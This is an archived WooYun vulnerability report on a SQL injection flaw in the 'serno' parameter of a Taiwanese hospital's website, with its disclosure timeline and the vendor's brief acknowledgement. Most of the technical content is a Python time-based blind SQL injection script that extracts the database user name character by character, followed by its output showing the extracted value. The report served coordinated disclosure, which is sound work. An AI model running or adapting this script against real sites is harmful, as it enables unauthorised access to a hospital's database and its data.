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缺陷编号:wooyun-2016-0169902

漏洞标题:漢銘醫院www站点sql注入(附带脚本)(臺灣地區)

相关厂商:漢銘醫院

漏洞作者: 路人甲

提交时间:2016-01-19 18:02

修复时间:2016-03-06 14:18

公开时间:2016-03-06 14:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-22: 厂商已经确认,细节仅向厂商公开
2016-02-01: 细节向核心白帽子及相关领域专家公开
2016-02-11: 细节向普通白帽子公开
2016-02-21: 细节向实习白帽子公开
2016-03-06: 细节向公众公开

简要描述:

详细说明:

注入点:

http://**.**.**.**/board/info/info_dtl.asp?dept_code=0000&serno=1192


serno存在注入
正常 and 1=1 :返回正常
单引号 and 1=2:返回不正常
附带测试脚本

import requests
import re
import time
payloads='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwx
yz0123456789@_.'
user=''
print 'Start to retrive Mysql user:'
for i in range(1,23):
for payload in payloads:
starttime=time.time()
s="19 and if(ascii(mid(user() from (%s) for 1))=
%s,sleep(1),1)" %(i,ord(payload))
param={'serno':s}
response=requests.get
('http://**.**.**.**/board/info/info_dtl.asp?
dept_code=0000&serno=1192',params=param)
if time.time()-starttime >2:

user+=payload
print '\n user is:',user,
break
else:
print '.',
print '\n[Done] mysql user is %s' %user


结果仅供参考

user is: E . . . . . . . . . . . . . . . . . . . . .
user is: Eb . . . .
user is: EbE . . . . . . . .
user is: EbEI . .
user is: EbEIC
user is: EbEICA
user is: EbEICAA . . .
user is: EbEICAAD . . . . . . . .
user is: EbEICAADI . . . . . . . . . . . . . . . .
user is: EbEICAADIQ .
user is: EbEICAADIQB . . . . . . . . . . . . . . .
user is: EbEICAADIQBP . . . . . . . . . .
user is: EbEICAADIQBPK . . . . . . . . . . .
user is: EbEICAADIQBPKL . . . .
user is: EbEICAADIQBPKLE . . . . . . . . .
user is: EbEICAADIQBPKLEJ . . . . . . . . . . . . .
user is: EbEICAADIQBPKLEJX .
user is: EbEICAADIQBPKLEJXB . . . . . . . . . . .
user is: EbEICAADIQBPKLEJXBL . . . . . . . . . . . .
user is: EbEICAADIQBPKLEJXBLN . . . .
user is: EbEICAADIQBPKLEJXBLNE
user is: EbEICAADIQBPKLEJXBLNEA
[Done] mysql user is EbEICAADIQBPKLEJXBLNEA


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-01-22 00:06

厂商回复:

感謝通報

最新状态:

暂无